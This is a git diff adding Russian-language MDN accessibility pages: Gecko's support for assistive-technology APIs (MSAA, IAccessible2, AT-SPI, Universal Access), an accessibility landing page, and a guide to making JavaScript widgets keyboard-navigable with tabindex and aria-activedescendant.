+<h2 id="Description" name="Description">Description</h2>
+
+<p>A text object uses for passwords, or other places where the text content is not shown visibly to the user.</p>
+
+<h2 id="Mapped_to" name="Mapped_to">Mapped to</h2>
+
+<ul>
+ <li>AT-SPI: ROLE_PASSWORD_TEXT</li>
+ <li>ATK: ATK_ROLE_PASSWORD_TEXT</li>
+ <li>UA: NSAccessibilityTextFieldRole</li>
+ <li>MSAA/IA2: ROLE_SYSTEM_TEXT</li>
+</ul>
+
+<h2 id="Used_by" name="Used_by">Used by</h2>
+
+<ul>
+ <li>HTML: &lt;input type="password"/&gt;</li>
+</ul>
diff --git a/files/ru/web/accessibility/at-apis/index.html b/files/ru/web/accessibility/at-apis/index.html
new file mode 100644
index 0000000000..43b7f1d8b6
--- /dev/null
+++ b/files/ru/web/accessibility/at-apis/index.html
@@ -0,0 +1,176 @@
+---
+title: AT APIs Support
+slug: Web/Accessibility/AT-APIs
+tags:
+  - AT_APIs
+  - Accessibility
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Tech/Accessibility/AT-APIs
+---
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+
+<div class="note">Documentation is in progress still. But in the meantime it more up-to-date and contains more details than existed analogues for <a class="external" href="http://developer.mozilla.org/en/docs/Accessibility/AT-SPI_Support">AT-SPI</a> and <a class="external" href="http://wiki.mozilla.org/Accessibility/AT-Windows-API">MSAA</a></div>
+
+<p>This documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support Gecko-based software. We provide for them the support of these products on Windows, Linux/Unix and OS X platforms.</p>
+
+<h3 id="Accessible_Gecko" name="Accessible_Gecko">Accessible Gecko</h3>
+
+<p>Gecko is a rendering engine that Firefox, SeaMonkey, Netscape and yelp use. Gecko can render a variety of content, not just HTML and supports key web standards such as Cascading Style Sheets, Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it.</p>
+
+<h3 id="Gecko_Based_Applications" name="Gecko_Based_Applications">Gecko Based Applications</h3>
+
+<p>Gecko can be used in two ways to create application:</p>
+
+<h4 id="Embedded_Clients" name="Embedded_Clients">Embedded Clients</h4>
+
+<p>Embedded clients use Gecko only in the content window, at the moment for HTML and generic XML only. They typically use standard Windows controls for their user interface -- the area outside of the client content window, plus the context menu.</p>
+
+<ul>
+ <li>on Windows platform
+  <ul>
+   <li>MFCEMBED testing client - this is a very simple package, great for testing basic HTML accessibility with your products and the Gecko rendering engine (please <a href="#Contacts">contact</a> us for a copy).</li>
+   <li><a class="external" href="http://kmeleon.sourceforge.net/">K-Meleon</a> - light, ultra-fast and more advanced (fully configurable) Gecko-based web browser available on the Windows platform</li>
+  </ul>
+ </li>
+ <li>on Linux/Unix platform
+  <ul>
+   <li><a class="external" href="http://live.gnome.org/Yelp">Yelp help viewer</a> - the help viewer in Gnome</li>
+   <li><a class="external" href="http://www.gnome.org/projects/evolution/">Evolution email</a> - provides integrated mail, addressbook and calendaring functionality to users of the GNOME desktop.</li>
+  </ul>
+ </li>
+ <li>on Mac platform
+  <ul>
+   <li><a class="external" href="http://caminobrowser.org/">Camino</a> - web browser for OS X</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="XUL_Applications" name="XUL_Applications">XUL Applications</h4>
+
+<p>XUL applications make full use of the Gecko architecture, not only for HTML content, but also for the entire user interface. Widgets such as menus, tab panels, tree views and dialogs are provided via an XML language called XUL (eXtensible User-interface Language). None of the user interface contains standard OS controls. This is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances). Developing a XUL window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets.</p>
+
+<p>Examples of XUL applications:</p>
+
+<ul>
+ <li><a class="external" href="http://www.mozilla.com/en-US/firefox/">Firefox</a> - web-browser</li>
+ <li><a class="external" href="http://www.mozilla.com/en-US/thunderbird/">Thunderbird</a> - email client</li>
+ <li><a class="external" href="http://www.seamonkey-project.org/">Seamonkey</a> - web-browser, advanced e-mail and newsgroup client, IRC chat client, and HTML editing made simple</li>
+ <li><a class="external" href="http://www.mozilla.org/projects/calendar/sunbird/">Sunbird</a> - cross-platform calendar application</li>
+ <li><a class="external" href="http://www.kompozer.net/">KompoZer</a> - a complete Web Authoring System for Linux Desktop, Microsoft Windows and Macintosh users to rival programs like FrontPage and Dreamweaver.</li>
+ <li><a class="external" href="http://www.openkomodo.com/">Open Komodo</a> - platform for building developer environments</li>
+ <li><a class="external" href="http://www.getmiro.com/">Miro</a> - a free, open source internet tv and video player</li>
+ <li>Any XulRunner application (<a class="external" href="http://www.songbirdnest.com/">Songbird media player</a>, etc.)</li>
+ <li>Extensions to other XUL apps (e.g. <a class="external" href="http://addons.mozilla.org">Firefox extensions</a>)</li>
+</ul>
+
+<h3 id="Gecko_Version" name="Gecko_Version">Gecko Version</h3>
+
+<p>For Firefox and all other Gecko-based products: this documentation applies to up-to-date product builds based on Gecko 1.9.2 -- currently not available on official releases. However most of described features are supported starting from Gecko 1.9.0 (Firefox 3.0). However it's preferable to grab the current build of Firefox or any other Gecko-based product to be up to dated:</p>
+
+<ul>
+ <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/">Firefox</a> recent builds</li>
+ <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/thunderbird/nightly/latest-trunk/">Thunderbird</a> recent builds</li>
+ <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/seamonkey/nightly/latest-trunk/">Seamonkey</a> recent builds</li>
+</ul>
+
+<h3 id="Determining_if_Accessibility_is_Enabled_in_a_Firefox">Determining if Accessibility is Enabled in a Firefox</h3>
+
+<p>Accessibility is enabled on Windows and Linux platforms by default. As well you might find helpful the <a class="link-https" href="https://addons.mozilla.org/firefox/2407/">about:accessibilityenabled Firefox</a> extension.</p>
+
+<h2 id="Supported_AT_APIs" name="Supported_AT_APIs">Supported AT APIs</h2>
+
+<h3 id="AT_APIs_terms" name="AT_APIs_terms">AT APIs terms</h3>
+
+<dl>
+ <dt><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/msaa/msaastart_9w2t.asp">Microsoft Active Accessibility (MSAA)</a></dt>
+ <dd>an API devised by Microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code that come with <a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4179742f-1f3d-4115-a8ba-2f7a6022b533&amp;displaylang=en">MSAA SDK 1.3</a>. (I recommend SDK 1.3 because the MSAA SDK 2.0 doesn't come with the source code to the testing tools. The other differences are not important).</dd>
+ <dt><a class="external" href="http://www.linux-foundation.org/en/Accessibility/IAccessible2">IAccessible2 (IA2)</a></dt>
+ <dd>IAccessible2 is a new accessibility API which complements Microsoft's earlier work on MSAA. This API fills critical accessibility API gaps in the MSAA offering.</dd>
+ <dt><a class="external" href="http://www.gnome.org/~billh/at-spi-idl/html/">Assistive Technology Service Provider Interface (AT-SPI)</a></dt>
+ <dd>an API devised by Sun Microsystems so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand AT-SPI, you'll need to read the docs on gnome.org and play with the available sample apps and code, such as at-poke. Please note that the web docs are sometimes out of date, and the <a class="external" href="http://cvs.gnome.org/viewcvs/at-spi/">latest AT-SPI is available on CVS</a>.</dd>
+ <dt><a class="external" href="http://www.apple.com/macosx/features/universalaccess/">Universal Access (UA)</a></dt>
+ <dd>Universal Access (UA) is the Apple's accessibility framework.</dd>
+</dl>
+
+<h3 id="Windows_platform" name="Windows_platform">Windows platform</h3>
+
+<p>We support MSAA (Microsoft Active Accessibility) and IAccessible2 on Windows. Also we expose <a href="/en/Accessibility/AT-APIs/ImplementationFeatures/MSAA#Additional_DOM_Support" title="en/Accessibility/AT-APIs/ImplementationFeatures/MSAA#Additional_DOM_Support">MS COM interfaces</a> ISimpleDOM* to provide an access to DOM tree.</p>
+
+<p>IAccessible2 is a set of interfaces that overlay the MSAA (IAccessible) and DOM (ISimpleDOM*) interface support. Any object that supports IAccessible will also support IAccessible2 and possibly any of the other IA2 interfaces.</p>
+
+<h3 id="Linux.2FUnix_platform" name="Linux.2FUnix_platform">Linux/Unix platform</h3>
+
+<p>We support ATK/AT-SPI interfaces on Linux.</p>
+
+<h3 id="Mac_platform" name="Mac_platform">Mac platform</h3>
+
+<p>We currently support only a subset of Universal Access. The rest of the <a class="external" href="http://wiki.mozilla.org/Mac:Accessibility">Mozilla Universal Access support</a> is in progress.</p>
+
+<h2 id="Accessible_Web_Specifications" name="Accessible_Web_Specifications">Accessible Web Specifications</h2>
+
+<p>Gecko exposes the number of XML languages including HTML to AT. Refer to <a href="/en/Accessibility/AT-APIs/Web_Specifications" title="en/ARIA_User_Agent_Implementors_Guide">accessible web specifications page</a> to learn what and how markup languages are exposed.</p>
+
+<h2 id="AT_APIs_Supported_Features_Details" name="AT_APIs_Supported_Features_Details">AT APIs Implementation Details</h2>
+
+<p>Refer to <a href="/En/Accessibility/AT-APIs/Implementation_Details" title="en/Accessibility/AT-APIs/Implementation_Details">implementation details page</a> to see how Gecko supports interesting AT API. There you will find information how AT API interfaces, roles, states and etc are mapped into Gecko accessibility API and visa versa.</p>
+
+<h2 id="Keyboard_User_Interface_and_API" name="Keyboard_User_Interface_and_API">Keyboard User Interface and API</h2>
+
+<p>Fortunately, Gecko uses the standard keyboard API's for each supported platform. The Mozilla keyboard shortcuts for content are similar to what is used in other browsers. Here is a list of <a class="external" href="http://www.mozilla.org/support/firefox/keyboard">Firefox keyboard shortcuts</a>.</p>
+
+<h2 id="Test_Tools" name="Test_Tools">Test Tools</h2>
+
+<p>Here you will find a list of tools to test accessibility Gecko-based applications.</p>
+
+<ul>
+ <li>MSAA
+  <ul>
+   <li><a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4179742F-1F3D-4115-A8BA-2F7A6022B533&amp;displaylang=en">MSAA SDK tools</a> - version 1.3 is recommended instead of 2.0 because it includes source code for the tools</li>
+  </ul>
+ </li>
+ <li>IAccessible2
+  <ul>
+   <li><a class="external" href="http://www.eclipse.org/actf/downloads/">Accessibility Probe</a> -- includes MSAA support as well</li>
+  </ul>
+ </li>
+ <li>ATK/AT-SPI
+  <ul>
+   <li><a class="external" href="http://live.gnome.org/Accerciser">Accerciser</a> - interactive Python accessibility explorer for the GNOME desktop</li>
+  </ul>
+ </li>
+ <li>Gecko
+  <ul>
+   <li><a class="external" href="http://www.mozilla.org/projects/inspector/">DOM Inspector</a> has an ability to test Gecko accessibility layer, supports base features.</li>
+   <li>Firebug</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Screen_Readers" name="Screen_Readers">Screen Readers</h2>
+
+<p>Here's a list of screen readers we are oriented to in the first place.</p>
+
+<ul>
+ <li>Windows platform
+  <ul>
+   <li><a class="external" href="http://www.freedomscientific.com/fs_products/software_jaws.asp">JAWS</a></li>
+   <li><a class="external" href="http://www.gwmicro.com/">Windows Eyes</a></li>
+   <li><a class="external" href="http://www.nvda-project.org/">NVDA</a></li>
+  </ul>
+ </li>
+ <li>Linux/Unix platform
+  <ul>
+   <li><a class="external" href="http://live.gnome.org/Orca">Orca</a></li>
+  </ul>
+ </li>
+ <li>OS X platform
+  <ul>
+   <li><a class="external" href="http://www.apple.com/accessibility/voiceover/">VoiceOver</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Contacts" name="Contacts">Contacts</h2>
+
+<p>Please discuss accessibility issues on the <a class="external" href="http://groups.google.com/group/mozilla.dev.accessibility/topics">Mozilla Accessibility groups</a> or on the <a class="link-irc" href="irc://irc.mozilla.org/accessibility">Mozilla Accessibility IRC channel</a>.</p>
diff --git a/files/ru/web/accessibility/index.html b/files/ru/web/accessibility/index.html
new file mode 100644
index 0000000000..5906df0a22
--- /dev/null
+++ b/files/ru/web/accessibility/index.html
@@ -0,0 +1,54 @@
+---
+title: Доступность
+slug: Web/Accessibility
+tags:
+  - Accessibility
+  - Advanced
+  - Landing
+  - TopicStub
+  - Веб-разработка
+translation_of: Web/Accessibility
+---
+<p><span class="seoSummary">Доступность (Accessibility, A11y в англоязычной среде) в веб-разработке — это обеспечение возможности использования сайтов как можно большим числом людей, включая тех, чьи способности как-либо ограничены. </span></p>
+
+<p>Технологии облегчают жизнь многим людям. А людям с ограниченными возможностями технологии дают такие возможности, которые ранее им были недоступны. Доступность в контексте разработки подразумевает создание такого контента, пользоваться которым мог бы каждый, несмотря на индивидуальные физические или когнитивные способности и вне зависимости от того, как они получают доступ в сеть.</p>
+
+<p>«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифленой тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Статья Accessibility в английской Википедии</a></p>
+
+<p>"<strong>Интернет принципиально создан для всех людей на Земле,</strong> независимо от их аппаратных, программных, языковых, культурных, территориальных, физических или умственных способностей." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Документация</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Accessibility/Web_Development" title="Accessibility Web Development">Веб-разработка</a></dt>
+ <dd>Набор статей для привлечения внимания к проблемам веб-разработки в мире специальных возможностей.</dd>
+ <dt><a href="/ru/docs/Accessibility/ARIA" title="/ru/docs/Accessibility/ARIA">ARIA</a></dt>
+ <dd>Набор статей о том, как сделать HTML-файлы доступнее с помощью ARIA.</dd>
+ <dt><a href="/ru/docs/Accessibility/AT_Development" title="AT Development">Разработка вспомогательных технологий (технических средств реабилитации, ТСР)</a></dt>
+ <dd>Набор статей для разработчиков ТСР.</dd>
+ <dt><a href="/ru/docs/Web/Accessibility/Mobile_accessibility_checklist">Mobile accessibility checklist</a></dt>
+ <dd>Этот документ предоставляет краткий список требований к разработке специальных возможностей для мобильных приложений.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ru/docs/tag/Accessibility" title="/ru/docs/tag/Accessibility">Смотреть все статьи о Специальных возможностях...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">Инструменты для веб-разработчиков</h2>
+
+<ul>
+ <li><a class="external" href="http://www.standards-schmandards.com/index.php?show/fangs">Fangs, эмулятор программы экранного доступа</a></li>
+ <li><a class="external" href="https://addons.mozilla.org/ru/firefox/addon/claws/">Claws - эмулятор программы экранного доступа</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="/ru/docs/tag/Accessibility:Tools" title="en-US/docs/tag/Accessibility:Tools">Смотреть всё...</a></span></p>
+
+<h2 class="Tools" id="Tools" name="Tools">Другие полезные сайты</h2>
+
+<ul>
+ <li><a class="external" href="https://support.mozilla.org/kb/accessibility-features-firefox-make-firefox-and-we">Список программ экранного доступа</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html
new file mode 100644
index 0000000000..00b91b8257
--- /dev/null
+++ b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html
@@ -0,0 +1,206 @@
+---
+title: Навигация с клавиатуры в JavaScript
+slug: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
+tags:
+  - Accessibility
+  - DOM
+translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
+---
+<p class="seoSummary">Как сделать для JavaScript-виджетов на основе span или div возможность навигации с клавиатуры.</p>
+
+<h3 id="Обзор">Обзор</h3>
+
+<p>Веб-приложения часто используют JavaScript, чтобы имитировать работу различных элементов, перешедших в веб с десктопных приложений: динамические меню, закладки, нестандартные элементы форм. Все эти элементы можно назвать виджетами. В вёрстке виджеты обычно состоят из набора HTML-элементов {{HTMLElement("div")}} и {{HTMLElement("span")}}, которые по умолчанию не предоставляют возможности работать с ними, используя клавиатуру. В данной статье описывается техника, позволяющая сделать JS-виджеты управляемыми с клавиатуры.</p>
+
+<h3 id="Использование_tabindex">Использование tabindex</h3>
+
+<p>Атрибут <code>tabindex</code> был представлен в спецификации HTML 4. Он позволяет задать порядок, в котором элементы будут получать фокус при навигации с клавиатуры. Текущая реализация, описанная в HTML 5 draft specs, довольно сильно отличается от первоначальной. Все распространённые браузеры теперь придерживаются новой спецификации.</p>
+
+<p>В данной таблице описано поведение элементов в зависимости от значения атрибута <code>tabindex</code>:</p>
+
+<table class="fullwidth-table" style="width: 75% !important;">
+ <tbody>
+  <tr>
+   <th>Атрибут <code>tabindex</code></th>
+   <th>
+    <p>Фокус при помощи мыши или программно через <code>element.focus()</code></p>
+   </th>
+   <th>Фокус при навигации с клавиатуры (Tab)</th>
+  </tr>
+  <tr>
+   <td>Отсутствует</td>
+   <td>Работает согласно правилам платформы для конкретного элемента (возможен для элементов форм, ссылок и т.п.)</td>
+   <td>Работает согласно правилам платформы для конкретного элемента</td>
+  </tr>
+  <tr>
+   <td>Менее нуля (<code>tabindex="-1"</code>)</td>
+   <td>Возможен</td>
+   <td>Невозможен. Разработчик должен использовать <code><a href="/ru/DOM/Element.focus">focus()</a></code> при нажатии стрелочек на клавиатуре и других клавиш.</td>
+  </tr>
+  <tr>
+   <td>Нуль (<code>tabindex="0"</code>)</td>
+   <td>Возможен</td>
+   <td>Происходит поочередно, исходя из позиции элемента внутри документа</td>
+  </tr>
+  <tr>
+   <td>Более нуля (например <code>tabindex="33"</code>)</td>
+   <td>Возможен</td>
+   <td>Значение атрибута <code>tabindex</code> указывает очередность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придет на такие элементы раньше, чем на элементы с <code>tabindex="0"</code> и элементы, которые способны получить фокус без атрибута <code>tabindex</code> (например, <code>tabindex="7"</code> получит фокус раньше <code>tabindex="11"</code>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Простые_контролы">Простые контролы</h4>
+
+<p>Чтобы сделать простой виджет доступным через клавишу Tab, задайте <code>tabindex="0"</code> на HTML элементах {{HTMLElement("div")}} или {{HTMLElement("span")}}, из которых он состоит. Ниже представлен пример эмулирования чекбоксов. Вместо элементов input в примере используется {{HTMLElement("span")}}.</p>
+
+<p><em>Пример 1: Простой виджет, эмулирующий работу чекбосов путем смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.</em></p>
+
+<pre class="brush: html">&lt;!-- Без атрибута tabindex, элементы &lt;span&gt; не смогут принимать фокус с клавиатуры --&gt;
+&lt;div&gt;
+    &lt;span role="checkbox" aria-checked="true" tabindex="0"&gt;
+        &lt;img src="checked.gif" role="presentation" alt="" /&gt;
+        Добавить декоративную корзину с фруктами
+    &lt;/span&gt;
+&lt;/div&gt;
+&lt;div&gt;
+    &lt;span role="checkbox" aria-checked="true" tabindex="0"&gt;
+        &lt;img src="checked.gif" role="presentation" alt="" /&gt;
+        Добавить поющую телеграмму
+    &lt;/span&gt;
+&lt;/div&gt;
+&lt;div&gt;
+    &lt;span role="checkbox" aria-checked="false" tabindex="0"&gt;
+        &lt;img src="unchecked.gif" role="presentation" alt="" /&gt;
+        С предоплатой
+    &lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Сгруппированные_контролы">Сгруппированные контролы</h4>
+
+<p>Безусловно есть необходимость создания более сложных виджетов. В качестве примеров можно привести меню, панели табов, различные динамические таблицы, представления для информации, имеющей древовидную структуру. Для таких контролов родительский элемент должен иметь атрибут <code>tabindex="0"</code>. В таком случае он сможет попасть в фокус с клавиатуры. Все дочерние элменты (пункты меню, отдельные табы, ячейки, строки) должны иметь <code>tabindex="-1"</code>, чтобы не попадать в фокус при нажатии tab. Пользователи должны иметь возможность путешествовать по дочерним элементам при помощи стрелочек на клавиатуре.</p>
+
+<p>Ниже приведен пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажития клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.</p>
+
+<p><em>Пример 2: Меню, использующее атрибут tabindex для осуществления доступа с клавиатуры</em></p>
+
+<pre class="brush: html">&lt;ul id="mb1" tabindex="0"&gt;
+  &lt;li id="mb1_menu1" tabindex="-1"&gt; Шрифт
+    &lt;ul id="fontMenu" title="Шрифт" tabindex="-1"&gt;
+      &lt;li id="sans-serif" tabindex="-1"&gt;Sans-serif&lt;/li&gt;
+      &lt;li id="serif" tabindex="-1"&gt;Serif&lt;/li&gt;
+      &lt;li id="monospace" tabindex="-1"&gt;Monospace&lt;/li&gt;
+      &lt;li id="fantasy" tabindex="-1"&gt;Fantasy&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li id="mb1_menu2" tabindex="-1"&gt; Стиль
+    &lt;ul id="styleMenu" title="Стиль" tabindex="-1"&gt;
+      &lt;li id="italic" tabindex="-1"&gt;Наклонный&lt;/li&gt;
+      &lt;li id="bold" tabindex="-1"&gt;Жирный&lt;/li&gt;
+      &lt;li id="underline" tabindex="-1"&gt;Подчеркнутый&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li id="mb1_menu3" tabindex="-1"&gt; Выравнивание
+    &lt;ul id="justificationMenu" title="Выравнивание" tabindex="-1"&gt;
+      &lt;li id="left" tabindex="-1"&gt;Слева&lt;/li&gt;
+      &lt;li id="center" tabindex="-1"&gt;По центру&lt;/li&gt;
+      &lt;li id="right" tabindex="-1"&gt;Справа&lt;/li&gt;
+      &lt;li id="justify" tabindex="-1"&gt;По ширине&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Неактивные_(disabled)_контролы">Неактивные (disabled) контролы</h4>
+
+<p>Когда элемент управления становится неактивным, он должен не попадать в фокус при нажатии на tab, что обеспечивается выставлением у элемента атрибута <code>tabindex="-1"</code>. Обратите внимание, что неактивные элементы в пределах сгруппированного виджета (такие как, подпункты меню ) должны иметь возможность быть выбранными при помощи стрелочек на клавиатуре.</p>
+
+<h3 id="Управление_фокусом_внутри_виджета">Управление фокусом внутри виджета</h3>
+
+<p>Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определенный элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:</p>
+
+<ol>
+ <li>Переходящий <code>tabindex</code>: програмное перемещение фокуса</li>
+ <li><code>aria-activedescendant</code>: управление «виртуальным» фокусом</li>
+</ol>
+
+<h4 id="Техника_первая_Переходящий_tabindex">Техника первая: Переходящий tabindex</h4>
+
+<p>Идея данной техники заключается в выставлении атрибута <code>tabindex</code> в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдет табом с виджета, а потом вернется обратно, элемент восстановит фокус правильно. Заметьте, что выставляя <code>tabindex</code> в "0", необходимо выставлять <code>tabindex="-1"</code> для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.</p>
+
+<p>Для этого необходимо слушать событие keydown для каждого дочернего элемента виджета. Когда пользователь нажимает на стрелочки на клавиатуре, чтобы переместиться на другой элемент следует:</p>
+
+<ol>
+ <li>программно применить фокус к другому элементу</li>
+ <li>изменить tabindex элемента в фокусе на 0</li>
+ <li>изменить tabindex предыдущего элемента на -1</li>
+</ol>
+
+<p>По ссылке Вы можете увидеть пример <a href="https://files.paciellogroup.com/training/WWW2012/samples/Samples/aria/tree/index.html">WAI-ARIA tree view</a>, использующий эту технику.</p>
+
+<h5 id="Советы">Советы</h5>
+
+<h6 id="Используйте_element.focus()_чтобы_задать_фокус_элементу">Используйте element.focus() чтобы задать фокус элементу</h6>
+
+<p>Не используйте <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошел фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте <code>element.focus()</code>.</p>
+
+<h6 id="Используйте_событие_onfocus_чтобы_отслеживать_фокус">Используйте событие onfocus чтобы отслеживать фокус</h6>
+
+<p>При разработке не стоит расчитывать, что фокус будет меняться только в следствие манипуляций пользователя с клавиатурой и мышью. Вспомогательные программы, такие как screen readers могут задавать фокус элементам. Отслеживайте события <code>onfocus</code> и <code>onblur</code>, вместо событий мыши и клавиатуры.</p>
+
+<p><code>onfocus</code> и <code>onblur могут быть использованы с любыми елементами.</code> Сейчас в стандартах не описано метода для получения элемента, находящегося в фокусе. Поэтому если вам потребуется отслеживать элемент с фокусом, его надо будет запоминать в переменную.</p>
+
+<h4 id="Техника_вторая_aria-activedescendant">Техника вторая: aria-activedescendant</h4>
+
+<p>Эта техника позволяет объединить  каждый отдельно взятый обработчик  событий в контейнер графического элемента и использовать  <code>aria-activedescendent</code> для слежения за "виртуальным" фокусом . (Для получения более подробной информации относительно ARIA обратите внимание на  <a href="/ru/docs/Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets">обзор доступных веб-приложений и виджетов </a>.)</p>
+
+<p>The <code>aria-activedescendant</code> property identifies the ID of the descendent element that currently has the virtual focus. The event handler on the container must respond to key and mouse events by updating the value of <code>aria-activedescendant</code> and ensuring that the current item is styled appropriately (for example, with a border or background color). See the source code of this <a href="https://www.oaa-accessibility.org/example/28/">ARIA radiogroup example</a> for a direct illustration of how this works.</p>
+
+<h5 id="Tips">Tips</h5>
+
+<h6 id="scrollIntoView">scrollIntoView</h6>
+
+<p>Note that the use of this pattern requires the author to ensure that the current <em>focused</em> widget is scrolled into view. You should be able to use the {{domxref("element.scrollIntoView()")}} function, but we recommend confirming this works for you in your target browsers using the <a href="https://www.quirksmode.org/dom/tests/scrollintoview.html">quirksmode test</a>.</p>
+
+<h6 id="Issues">Issues</h6>
+
+<ul>
+ <li><a href="https://www.quirksmode.org/dom/w3c_cssom.html">quirksmode reports problems in Opera, and Konqueror</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=450405">Firefox 3.0.1 introduced bug</a></li>
+</ul>
+
+<h3 id="Рекомендации">Рекомендации</h3>
+
+<h4 id="Используйте_onkeydown_для_отлова_событий_вместо_onkeypress">Используйте onkeydown для отлова событий вместо onkeypress</h4>
+
+<p>В IE событие <code>keypress</code> срабатывает только для буквенно-цифровых клавиш. Используйте <code>onkeydown</code> вместо этого.</p>
+
+<h4 id="Убедитесь_что_клавиатура_и_мышь_производят_одинаковое_действие">Убедитесь, что клавиатура и мышь производят одинаковое действие</h4>
+
+<p>Чтобы обеспечить независимый от устройства ввода механизм взаимодействия с пользователем, обработчики событий мыши и клавиатуры должны совместно использовать код там, где это необходимо. Например, код, который обновляет значение <code>tabindex</code> или стили, когда пользователь переключается между элементами c помощью стрелок, должен выполняться и обработчиками клика мыши, чтобы применить те же самые изменения.</p>
+
+<h4 id="Убедитесь_что_можно_использовать_клавиатуру_для_активации_элемента">Убедитесь, что можно использовать клавиатуру для активации элемента </h4>
+
+<p>Чтобы обеспечить использование клавиатуры для активации элемента, любые обработчики событий мыши должны быть также связаны с событиями клавиатуры. Например, чтобы клавиша Enter активировала элемент, если у вас есть <code>onclick="doSomething()"</code>, вам необходимо также связать <code>doSomething()</code> с событием нажатия клавиши: <code>onkeydown="return event.keyCode != 13 || doSomething();"</code>.</p>
+
+<h4 id="Не_используйте_focus_для_стилизации_фокусировки_(если_вы_поддерживаете_IE_7_и_более_ранние)">Не используйте :focus для стилизации фокусировки (если вы поддерживаете IE 7 и более ранние)</h4>
+
+<p>IE 7 и более ранние версии не поддерживают <code>:focus</code> псевдо-селектор; не используйте его для стилизации фокуса. Вместо этого, установите стили с помощью обработчика событий <code>onfocus</code>, например, добавив название CSS стиля аттрибуту <code>class</code>.</p>
+
+<h4 id="Always_draw_the_focus_for_tabindex-1_items_and_elements_that_receive_focus_programatically">Always draw the focus for tabindex="-1" items and elements that receive focus programatically</h4>
+
+<p>IE will not automatically draw the focus outline for items that programatically receive focus. Choose between changing the background color via something like <code>this.style.backgroundColor = "gray";</code> or add a dotted border via <code>this.style.border = "1px dotted invert"</code>. In the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and IE doesn't implement CSS outlines).</p>
+
+<h4 id="Prevent_used_key_events_from_performing_browser_functions">Prevent used key events from performing browser functions</h4>
+
+<p>If your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. If your event handler returns <code>false</code>, the event will not be propagated beyond your handler.</p>
+
+<p>For example:</p>
+
+<pre class="brush: html">&lt;span tabindex="-1" onkeydown="return handleKeyDown();"&gt;</pre>
+
+<p>If <code>handleKeyDown()</code> returns <code>false</code>, the event will be consumed, preventing the browser from performing any action based on the keystroke.</p>
+
+<h4 id="Don't_rely_on_consistent_behavior_for_key_repeat_at_this_point">Don't rely on consistent behavior for key repeat, at this point</h4>
+
+<p>Unfortunately <code>onkeydown</code> may or may not repeat depending on what browser and OS you're running on.</p>
diff --git a/files/ru/web/accessibility/mobile_accessibility_checklist/index.html b/files/ru/web/accessibility/mobile_accessibility_checklist/index.html
new file mode 100644
index 0000000000..3b5bfdd43f
--- /dev/null
